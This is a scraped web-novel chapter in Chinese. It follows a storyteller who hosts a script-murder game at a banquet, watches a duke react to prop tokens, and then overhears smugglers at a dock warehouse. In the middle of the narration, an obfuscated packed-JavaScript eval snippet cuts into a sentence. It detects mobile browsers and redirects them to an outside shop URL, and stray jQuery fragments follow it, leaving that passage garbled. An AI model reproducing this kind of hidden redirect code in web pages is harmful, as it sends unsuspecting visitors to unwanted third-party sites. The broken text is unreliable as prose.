默认冷灰
24号文字
方正启体

72. 第 72 章

作者:缇灵本书字数:K更新时间:
    有了和李弦双管齐下,不只是码头,近来连周边的几个县镇似乎也太平了许多,这是黎映真从李弦那儿听来的。


    黎映真疑惑过,这样的平静是否不利于衙门的调查,李弦不置可否,只道这里被堵住了,总有其他地方能通,只要不放弃,总能有所突破。


    “不过距离殿下设宴的时间越来越近,黎掌柜这话本杀进展如何?”


    又是一夜小聚,黎映真在帮李弦换药时,听他这样问起。


    “进展如何你不知道?”给李弦裹上纱布,她的动作还是小心翼翼的。


    李弦日日过来蹭吃蹭喝,但也给了黎映真不少帮助,譬如那关于“古盛国商海秘话”的话本里,精于联络商队暗线的绸缎商、受人尊敬的祭祀圣女等角色写到何种程度最为合适,真真假假的剧情如何安排,都有他的手笔,算是给黎映真托住了那根不能触及的红线。


    依惯例,黎映真提前前往锦瑟园主持布置话本杀需要的现场设定,这样直到宴会真正开始,她跟李弦再没见上面。


    只有那天边垂挂的月亮,能在夜深人静时将他们笼在同一片月光下。


    宴会当日,因黎映真几乎压着最后期限交付剧本,长随已来不及安排其他人修改,她便得以不必参与剧情,继续做她熟悉的剧情引导之职。


    成国公一面听着剧情,一面把玩着两颗文玩核桃,视线不时与身边的文泰交换视线——那正是李弦先前同她提起的漕帮如今的新把头,不过今日是以成国公友人的身份一同赴会。


    剧情正进行到文泰需用匕首挑开香料商的盲盒道具,里头恰滚出一个刻着“盛”字的铜令牌。


    成国公停下盘转文玩核桃的手,拿起那枚令牌恰落在他跟前的令牌,眯着双眼一看,神色阴沉下来道:“这东西做得倒有几分眼熟。”


    视线是落在十一娘身上的。


    扮作圣女的十一娘不置可否,道:“令牌嘛,做来做去都是那个样子。成国公经手的事多,见的也多,觉得眼熟不算奇事。”


    “是吗?”成国公看来并不尽信。


    黎映真只提供道具的大致外观形态,具体都由园内专人负责成品,成国公会有这样的反应,显然是这道具令牌戳到了他的痛处,而他却不能当众言明。


    至于十一娘的反应……


    黎映真知道十一娘必然对成国公所谋大有所图,所知也必定比自己,甚至可能比李弦更深,但通过这枚令牌,她已能猜出十一娘并非真要对付成国公,或者说眼下还只是试探。


    只是这一步,明显大胆得很。


    因那枚令牌,大有玄机。


    气氛因此凝滞。


    “霍斯老板。”黎映真叫着话本中的名字,及时上前,双手举过头顶向成国公张开,“令牌该是卡西护卫持有,为便于剧情推进,请霍斯老板物归原主。”


    在场还有其他眼睛,总不好因为一场游戏而当场翻脸,成国公这才将令牌交给黎映真,可手里的文玩核桃再也不盘不转了,而是紧紧攥在手里。


    言毕,黎映真继续主持剧情推进。


    剧情转至刀疤护卫身上,有人找到一柄匕首,正是话本里护卫的随身物品。


    刀柄上缠着一圈黑布,解开后,是一截中空的竹管,里头塞着半张盐引拓本,墨迹与先前找到的密账上的字迹分毫不差。


    文泰的嫌疑骤然上升,同时进入“质疑”时间。


    这是此次黎映真新设置的环节,每位参与者都有一次中途提出质疑的权力,被质疑之人必须回答问题,否则需现实捐些银两出来给本地的善堂,至于在话本杀中会有如何待遇,便看其他参与者的意思了。


    “卡西只是霍斯老板的护卫,而霍斯老板从未涉及过盐务,这盐引如何在你手中?是你经手?还是替别人经手?是你,又是如何得到这样的门路?是如何经营?若不是你,指使你的又是谁……”


    质问者显然对这一发现感到十分兴奋,一口气提出诸多问题,却忽略了一旁脸色越发阴沉的成国公。


    “啪嗒”一声,那文玩核桃自成国公手中掉落,最终落在黎映真裙边。


    她正拾起核桃,却听方才在观察盐引的另一位参与者道:“这盐引的印泥颜色不对。”


    他用指尖在官印上一抹,指腹立即染上暗红,他随即道:“这是皇室造办处才有的朱砂印泥。”


    “所以,这盐引是假的。”十一娘看着成国公那张阴恻恻的脸,唇角翘了三分,“真正的古盛国盐引,边角该有骆驼刺的暗纹。”


    身旁的侍女接过盐引,用桌上的梅子酱在盐引边缘抹了一道弧线,红褐酱汁晕开处,果然没有任何纹路。


    “看来身边人有问题,真让霍斯老板受惊了。”十一娘道,见黎映真拿着核桃没动,便催道,“还不将东西还给霍斯老板,后头还有好戏呢。”


    这核桃底部同样刻着一个“盛”字,若是旁人捡了,发现了,必定会将怀疑的焦点聚焦到成国公身上。


    但如今是黎映真捡了,却由十一娘催着归还,可见这位古盛国的圣女还不想那么早就让成国公成为焦点。


    她随即将文玩核桃归还。


    一场话本杀,有人玩得尽兴,有人从头到尾都捏着一把汗。


    黎映真得了十一娘不少赏赐,长随前来授礼时面带笑意,很是客气,她却越看那表面和善的笑容,越是心里不舒坦。


    “殿下以为黎掌柜这出话本精彩,想问黎掌柜是如何想出这样的情节?”


    “素日爱听说书,民间那些奇谈论文,说书先生都会说,民女听得多了,也就多有启发。”


    “实不相瞒,殿下也对民间奇人异事感兴趣,黎掌柜得空可多收集一些故事,当为下一回话本杀攒些素材。”


    她如何听不出长随的言外之意,是要她继续追查,并且认为她如今做的还不够多。


    “民女知道了,请上官回禀殿下,民女一定尽心竭力,为殿下搜集更多有趣故事。”她垂首道。


    “如此就好,有劳黎掌柜了。”长随还是那样客气,“殿下给的赏赐,黎掌柜不妨看看,若有不喜欢的,只管说。殿下说了,她尽兴便也要黎掌柜尽兴。”


    “殿下恩赐,民女欣喜受之,必定珍惜再三,不敢怠慢。”黎映真道。


    长随听了这样的话方才满意离去。


    黎映真送至门外,再回到房内时,看着说上那一堆奇珍异宝,眉心不由皱起——


    十一娘的下一个任务就在这一堆宝贝里了。


    两日后,亥时二刻,码头西货栈,拐角处。


    墙边树枝被冷月照出光秃秃的影子,在夜风中不时摇动。


    树下,一双手贴上那棵干细的小树。


    一下,两下,三下。


    墙上的影子加大晃动的同时,枝梢末端划过墙面,发出沙沙的声响。


    “沙——沙——沙。”


    第三声刚落,对面仓库外头传来石子滚落的声音。


    仔细去听,却是“咕噜,咕噜,咕噜噜”的节奏,最后不知撞了什么东西,发出一声闷响。


    树下墙影中,一道黑影蹿进月光中,只在墙上留下一瞬的痕迹,眨眼便不见了。


    而货栈后头,虚掩的门缝里漏出了微弱的烛火与低声交谈。


    “几时才到货?外头风声这么紧,迟则生变。”


    “那也没辙,外头有人盯着,货跟着漕运走不安全,不走漕帮的水路,风险又大。再等等吧,不是有消息说,下个月开始,漕帮有新水路,到时……”


    门外的身影听得入神,手臂突然被不把扣住,不等她反应,微凉的手掌同时捂住她的嘴。


    身子被强行拽走的同时,有什么东西飞速从身边划过。


    “夺!”


    隙开的门缝因扎入门上的暗器被关上。


    “谁?”


    货栈里的人声戛然而止。


    躲入一旁堆放的杂物后,黎映真借着浓重的阴影掩盖行踪。


    而方才那救了自己的人已朝另一个方向奔去,引走了从货栈中追出来的人。


    也可能是要去追那个躲在暗处偷袭之人。


    寒风时停时续,周围恢复了最初的寂静。


    黎映真从杂物堆后出来,重新回到货栈后门处,借着月光,将那枚被打入木门中的暗器拔了下来,裹在手巾中,速速离开。


    独行在深夜无人的巷子里,黎映真缩着身子,低着头,几乎贴着墙根,将自己藏在最浓的阴翳中,一味往前走。


    穿堂的冷风无孔不入,她却仿佛感觉不到冷,只是脚下的步子越来越快。


    风声里响起一阵怪异的声响,只是一瞬。


    她听见了,却不敢因此停留。


    可正要抬脚,脑海中忽然又闪现了一些字符和图案。


    那些模糊的图像在一点点变清晰,由不得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249793|192900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她不去注意,也就收住了脚步。


    下一刻,一道黑影闪至眼前。


    “是我。”


    在她险些失声低呼时,听见了李弦的声音。


    李弦察觉到她的异样,关心道:“怎么了?”


    “没事。”感觉到李弦扶来的手,她不想靠着冷冰冰的墙,于是搭着他的手臂,缓了缓才道,“先回去,我有话跟你说。”


    两人回到黎映真住处,烛火被点亮的那一刻,她一面从身上摸出那枚暗器,一面问李弦道:“追到踪迹了吗?”


    “不确定。”见黎映真递来手巾,李弦打开,见到那枚暗器时,眸光骤冷,道,“还真是老伙计。”


    “什么?”


    李弦隔着手巾拿起那枚四角带倒钩的暗器,道:“这案子我追查至今,都快收集一箱子了,但直到一年前才刚刚查出这暗器的来路。”


    “总不会明面上就是成国公府的吧?”


    “听过贼喊捉贼吗?”


    黎映真惊道:“这么明目张胆?”


    “胆子不大,如何干这连当朝公主都有了兴趣的大事?”李弦反问道。


    也是,当初在锦瑟园内,成国公不惜演那一出当众被刺杀的戏,借此给让有心之人知道他与走私团伙并非一路人,如今这暗示,不过是捎带手的事了。


    将暗器重新裹进手巾中,李弦问道:“对了,你要说什么?”


    取来纸墨,黎映真努力回想着方才在脑海中闪动的内容,渐渐在纸上画出了一些痕迹。


    李弦在旁看着她从落墨到提笔,最后只画成的东西,只教他眉头皱得更紧。


    “这是?”斟酌片刻,他才道,“地图?”


    “我再想想。”黎映真闭眼,这会儿却再也想不起那些画面了,“破系统!”


    气得她重重把笔拍在桌上,没顾上李弦又惊又惑的神情。


    “小心些。”李弦拿起那张纸又端详了一阵,道,“让我带回去找懂行的瞧瞧。”


    看他小心折起纸的动作,黎映真更是泄气,道:“我原以为能帮上你的,结果连这一时半刻的记忆都留不住。”


    “也许是我力有不逮,别人一眼就能瞧出乾坤呢。”贴身收好了东西,李弦特意再拍了拍。


    “已能和殿下交差了。”李弦安慰道,“漕运改道的事,提前通知殿下。”


    见他似乎要走,黎映真不禁伸手拉了他一把,道:“殿下也牵涉进来,对你的调查阻碍大吗?”


    烛台上微微跳动的火苗中,她的关切没有丝毫掩饰,与烛火融在一起,格外温柔。


    本就柔和的眉目因此更添欣喜,爬上李弦嘴角的笑意也加深了几分,他道;“有这个呢。”


    他又拍了拍放那张纸的位置,这次掌心贴着,没有立刻离开。


    这样的李弦确实抚慰了黎映真的顾虑,抓着他衣袖的手,她缓缓松开,道:“如果这东西对你有帮助,你……也别跟我说。”


    她的手还虚拉着他,只是目光已低垂下去。


    “什么东西?”李弦问道,满面疑惑。


    道他明白了自己的意思,黎映真才放心,神情缓和不少。


    可那方才要走的人,此刻又坐在她身边。


    两人进屋好一会儿,衣上的寒意已消了许多,这会儿慢慢多接触了些李弦身上的气息,倒教黎映真觉得暖和得有些过头。


    她往旁边挪了挪,问道:“你不是要走?”


    “忽然想起来,我也有话跟你说。”


    烛火一闪,那人眼底眸光跟着暗了一瞬,再能看清时,那双眼睛亮得教黎映真看出了神。


    “可瞧够了?”双眼弯起时,李弦眼中的笑意满得从眼角溢了出来。


    黎映真忙收回视线,瓮声瓮气道:“谁瞧你了?”


    “谁说你瞧我了吗?”低低的笑声里却是浓浓的调侃。


    她扭着脸,不给那人一点眼色,瘪着嘴角,只在心里将他骂个狗血淋头。


    “我是想说……”李弦敛容,借着烛火深深看着黎映真,“你从前就有的头疼症,不让外人知道最好。”


    黎映真偷偷瞥去李弦身上的目光,落在他又一次放去收着那张纸的位置,而她藏在袖子里的手忽地收紧。


    “你……知道了?”黎映真。


    李弦请拍桌子,学着她方才掷笔的动作跟语调:“破系统!”


    不过他没再多问。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)